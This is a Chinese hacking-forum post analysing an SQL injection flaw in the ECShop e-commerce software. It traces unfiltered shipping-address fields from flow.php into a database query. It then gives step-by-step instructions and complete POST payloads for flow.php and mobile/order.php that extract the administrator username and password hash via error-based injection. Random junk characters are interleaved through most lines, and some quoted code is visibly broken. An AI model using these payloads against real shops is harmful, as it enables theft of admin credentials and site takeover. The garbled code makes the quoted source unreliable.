找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2237|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
' C4 T& d6 p" p5 c( Q- B" N2 v* R+ h; x4 t! ]
    漏洞关键文件:
2 w7 M/ y( e& Q  j
! u. }8 S  Z% k* Y    /includes/lib_order.php' T: V( y# b; e& F% a/ ?

9 Q5 J, q: ]; x$ K- N    关键函数:
5 x. |: ~# l& \- q+ p  j# ~! D3 `; e. ]% }4 M7 J

6 Z% d9 I% R# y( ~- g- M
, r6 X5 ]- z8 W8 O" W0 t3 L/ s01     function available_shipping_list($region_id_list) " ]/ N0 b* T, I. _

: h2 D& e4 e0 X& z+ X) g. J, V02 {
% [7 r; Z2 l9 F, q8 a9 ^+ C5 D% a# i4 t8 {6 ~9 G  F0 U. l! A9 A. F
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
; F$ k9 @- D# O  R9 T  V2 K+ Y+ y' X2 `2 J. u7 M* L# D
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ! f# r, M, T$ ?- \, c$ P
. l; m) Q3 k) r
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 5 o. a6 T; ~0 `0 `

5 s  W+ v+ ]! j06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
/ S1 s0 c2 l5 z1 z; ^7 z. x0 a0 @/ X! E. a2 c6 L+ Y
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. : T& u* E- s9 P' b4 N4 S

& n9 |. e) o) B* Z; N08             'WHERE r.region_id ' . db_create_in($region_id_list) .   @9 X1 B" n/ n- o) V

* l- b7 j. b9 I+ P1 K09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; : o& V& f5 H6 _- @
: S( _5 @4 X5 S7 R1 s+ M, t
10   ) ~0 B. r/ u( r9 v

  M. Q* z2 I; o11     return $GLOBALS['db']->getAll($sql); $ W8 ]* r  a* K" `1 H+ `6 Z

0 `$ N& z  L9 Z5 @7 s" E# U12 } 5 h0 A+ C  {$ t! R3 t0 t/ Q
" _  d6 Q! R( ^+ R  I2 n
显然对传入的参数没有任何过滤就带入了查询语句。
1 F7 ~& i5 b+ _
+ n7 _3 t' r' u2 m/ l3 x下面我们追踪这个函数在flow.php中:
; h3 Q8 I$ P6 s  g$ D 第531行:   
/ J# K5 g7 N6 y( E# e( y) S/ O$ p. K0 M3 b
1 $shipping_list     = available_shipping_list($region);
9 `2 J) `; Y7 |- v3 p3 e
+ X9 _/ F0 ]2 U: P0 D& N
0 ]  _4 F7 \, C  J3 x
5 g$ K# b& f8 n5 ~
* H6 y4 i: E( w" B) F- {
3 V4 T4 n6 u0 F" @3 E. @1 P' I再对传入变量进行追踪:  e- l- P7 s2 a

9 U. y- w  G  L2 u! d第530行:    ! ]! y! K( w; ~7 d3 ?

# F) G1 x, C" P1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
% M( D4 V" I( i5 P$ _
0 I: Y" h4 u; e8 s, q* r0 z 6 U" ]( D" Z: \
' w3 N2 p; Y' }4 u+ P
* U: A5 m9 v, K+ k; S8 B, f% N
: O4 Y" D0 O1 m9 e8 d% }% S! e6 X
第473行:        + n) K5 x" s% o7 o2 Y! D& i( I
# M. m5 `& }/ F* k0 D
1 $consignee = get_consignee($_SESSION['user_id']); " q) T  a5 S; U& M9 _  p* q: L
" w+ A7 X. }& B) O9 ?8 A
到了一个关键函数:
8 q2 y) L, z7 s! _2 G- D! k& ~+ E4 H. w
/includes/lib_order.php
5 h5 e) p6 A0 x$ A# Z& b8 n4 d7 k
, f. y8 k$ F2 g1 s, [( R2 D1 A
  W, G! K7 K5 ]* B! q
4 R5 u8 c2 h( }9 Y
& `* c1 B1 V% {% B: d, {. b# m+ K& L0 C- |2 u$ o9 H
01 function get_consignee($user_id)
. N$ i. q1 \4 \. {5 F- ]0 ]
7 L$ s) l) ?  q. x02 {
9 K: `8 D# N6 H( ^4 y+ f% {9 H! \. a" f( f  Y: A( a2 i
03     if (isset($_SESSION['flow_consignee']))
/ q# m) h. O; R7 _4 g4 ^& X8 W- O0 P: c' Z" `# V/ R0 r
04     { : v) s/ G0 w9 _1 [8 M% P

1 F9 W( u9 G% A1 t5 r# Q7 z2 n05         /* 如果存在session,则直接返回session中的收货人信息 */ 5 m. j9 k! S6 S7 P

6 Y/ g2 o. t9 _0 O. r! s7 }7 i$ Z! Y06   
; S. O) P" G7 b) Y, J6 ?0 t% k, s- [! m/ u8 Z7 J- }
07         return $_SESSION['flow_consignee']; # e" N$ x, D7 b) h. H
  o  c' F6 f; \5 C% N, h
08     }
8 Y8 W0 ?# q8 e$ f" w
0 Z+ [3 E8 r7 R) i( j09     else
) M0 }. ~: G5 K; r
5 m+ S, r. N  X10     {
$ G" N- y# d3 Y9 ]% M. i5 T" l7 |/ Q% h2 u) Y1 V$ l6 M" H
11         /* 如果不存在,则取得用户的默认收货人信息 */ 0 r% W" U6 a- i; v8 W, U  n% j

) K& `  W9 Y3 n/ }; h/ c) t12         $arr = array();
8 C/ s' x( Z$ Z' z  z+ l& B7 d5 U  B, {
0 s3 N( X' @8 Y5 t+ m* s3 ]13   - F. E$ H; `1 m. W: L7 o
( N0 w+ Z8 u! w4 l
14         if ($user_id > 0)
2 q/ B9 }! c. r8 }9 a8 r
6 i3 O  c4 i% p% @* S15         { ; [9 t3 i# z: K: g2 c1 B2 M/ z: ]6 S

2 \: v0 S5 `5 G) p" J16             /* 取默认地址 */ : @- \# q& n8 H' b4 n- @) Q9 l
# w7 i8 P' L: x$ W% U, W2 _
17             $sql = "SELECT ua.*".
- W5 B9 z$ t* f; _  W5 L7 f
3 N* `) W8 h% S' r. H) v: I18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
3 Y$ `8 I3 |* `; X) c6 U: ^5 n
9 e5 m% f+ c, \0 x* s0 z7 F* }: S19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 0 N  v2 x8 X) O9 H# K* _+ J% N
, c. ~# B* ]" `+ u/ x" Q" V+ h( [/ O
20   . ?# W6 B* g2 [! g6 p+ B; H
+ s* a8 o# O8 n% ?& h
21             $arr = $GLOBALS['db']->getRow($sql);
7 l$ P/ ~- d: p  \6 I
8 ^: q  ?9 N, ?2 ^; b+ z22         }
$ T  ~1 F' R, n3 u0 y3 _
7 B% v7 b6 K! t/ n/ ?$ V( \2 [23   5 q) l$ V, _. U. \. U& f

. t! T2 q& H+ _24         return $arr; 0 W. O+ Y, |0 H1 M

, w* P- O" p- F# J; l& g25     }
# p+ X, v4 o7 G; E6 r
+ I2 }8 B0 c# C26 } - c4 |3 T/ O6 g8 b% a' u
1 {. M# R1 Y% [) q
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
) x0 ]) N* ]1 H6 @: t6 @' T6 b8 x6 T% ~7 _! ^9 A
1 Q* L* s& Y8 a* u8 U/ b+ O

% d" \! I8 t  ]关键点:2 `7 G. y+ P& y8 M
" s6 T+ B" h9 Z& y
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
$ z0 W) |0 E0 n, |+ P% C) {9 Y4 G! n  h6 T  D
这里对传入参数反转义存入$_SESSION中。
: ?. k1 c' _$ o
2 L' _: S( y! ^( V- X% }. }7 E- z
; O# V" f( m( V" c# v' U6 e+ }  d1 S. `/ D! N$ Z
然后看下:7 z" @" r2 m2 [2 E7 e6 Z
( m6 ?3 C8 g3 H5 v9 ?" b. W
- o; m' W, B. u# ]- a& A  S

- g5 u5 f' }  B) h* C$ k/ @    4 A- B8 Q3 p, _: B
6 \0 [4 R. b  I7 C/ K! H
01 $consignee = array( . F' F+ u/ ?: N( {
7 K+ y; a6 N7 ]( q. S
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), " _+ \6 b- C' e, l
, E& l6 c! V9 w; \/ Q7 H
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
- J" v( k" r# k8 _' D/ s" [4 {; ]# l8 Y3 p' Q2 p
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], ( `1 K4 S7 b/ ?" S) T0 ~6 C

$ n2 [  Q0 |, o; T05         'province'      => empty($_POST['province'])   ? '' _POST['province'], # Q% ]5 E( X) Z) }
) L' J) Y+ u, d/ h* _* I) q/ ^
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
* m; D/ Z  X7 ?+ q3 q. ~6 d6 ]) x5 A% k6 j
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
6 G' z  e2 @/ A8 K6 S3 ?- I% b' s+ z5 f" B. e4 }
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
, j# ]9 Y; v! q, g5 F; d9 [2 S8 |0 K' s/ O! a; h0 E
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
/ \/ ^0 t4 v3 o% X! o2 m  K% t. \# ^! U  w$ x1 {+ h
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 8 |5 K, |: w7 P& J' F# H5 H# w
& |5 s0 I$ c8 x- t" X0 u
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), & I  i8 `2 ?& }" S/ F

5 z5 L; J* ]/ C# z" C12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
4 v0 S* z' R2 v, ?7 m5 g+ Q' Y+ q* ]% I' j, F& F/ ?
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
: k0 ^" p7 Q9 i. Q  E% u% v. {8 t5 ]  t) r7 i: B
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
: x3 [5 Q9 Y! y" {6 Z0 N1 R  a" N, ~2 V8 R. U! ~' ^+ l- g/ k+ [: k: y
15     ); ( k3 [; n8 r( u
0 [9 S0 M  m7 |; M- G) u! g
好了注入就这样出现了。
+ Y% y8 a. Z# }- Q! A/ [+ B4 j
* _7 E' {. A9 F; e==================. S0 W* q/ k8 I8 O/ y( N
0 q% r% v7 V  L" X, r, n: ^8 R
注入测试:- U& s+ s% M7 c+ d# Q

4 e2 Z9 h4 H5 x: C环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
$ [  i0 j1 D) S( B! ~
6 s  R6 k# A5 w' y/ M8 |测试程序:ECShop_V2.7.3_UTF8_release1106: X  P% M1 G7 E! q8 H
+ T- j+ _" M4 v7 y$ n& x- P! U  i

1 V" M  m0 i0 s8 c# r1 m, @. H6 u- a( ~: O2 Q+ ]6 P
1.首先需要点击一个商品加入购物车
: ^" [3 [3 C* r
" X$ d, c* d. d/ O! X3 @% T2.注册一个会员帐号
- e  P0 ]2 Z) w9 L3 f. g8 l  ^! l9 K4 G, o0 f
3.post提交数据/ B/ y7 w0 _8 ~3 v5 c1 u
. D4 H  J) G" v( Q$ M; J# o
% E7 J: x# x2 V; V' t
  o. T, L1 B8 I* o& P$ b+ U
1 http://127.0.0.1/ecshop/flow.php
) F+ Z6 m7 `3 l6 g4 j, C1 j( x5 {# j1 M/ _0 N' n# w6 ?, f$ h
2   / n$ R5 ]( \9 [
6 ]% |7 |- ?( ]4 R! J, R
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= : A! b8 u$ i" f2 D4 i
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
' V) ^- B) N# U% e. [$ ?
$ e) {: T3 |% ^. }1 S4 g我们搜寻关键函数function available_shipping_list()
6 v2 d7 M- T4 J$ F# v1 Y2 M' o" V& h; v/ Y8 c" B8 g4 c) W. _
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
8 Y0 n* ?8 Y2 d( \
6 W0 ?$ Z( M2 n" A5 T: j利用exp:
7 T0 g7 D0 e+ K7 e4 \' {1 X( \/ x) v$ o2 i8 R" ]8 p+ M/ J2 p" f4 C3 |
1.点击一个商品,点击购买商标; k  S: Q% O9 g3 Q& e
( h3 x3 F1 R; `* T1 G+ [* r
2.登录会员帐号! u* W  Q/ }; \, ~, L3 Z+ h: [
/ p( V/ f: b! ~# D) M! H
3.post提交:" J9 O! Y" Z" `/ d9 y8 w
9 S* D2 I$ p* `2 O; j
http://127.0.0.1/ecshop/mobile/order.php
6 j$ R0 B$ S# ^
0 f7 k% _. t+ s3 S+ u6 ` 8 x$ ^% O: Q9 U( e
" e" p# L7 q* f* R+ J. r# `: k0 t
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
5 ]! w8 L/ V& Q  |! Z# ?; H2 H2 v1 [6 _# E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表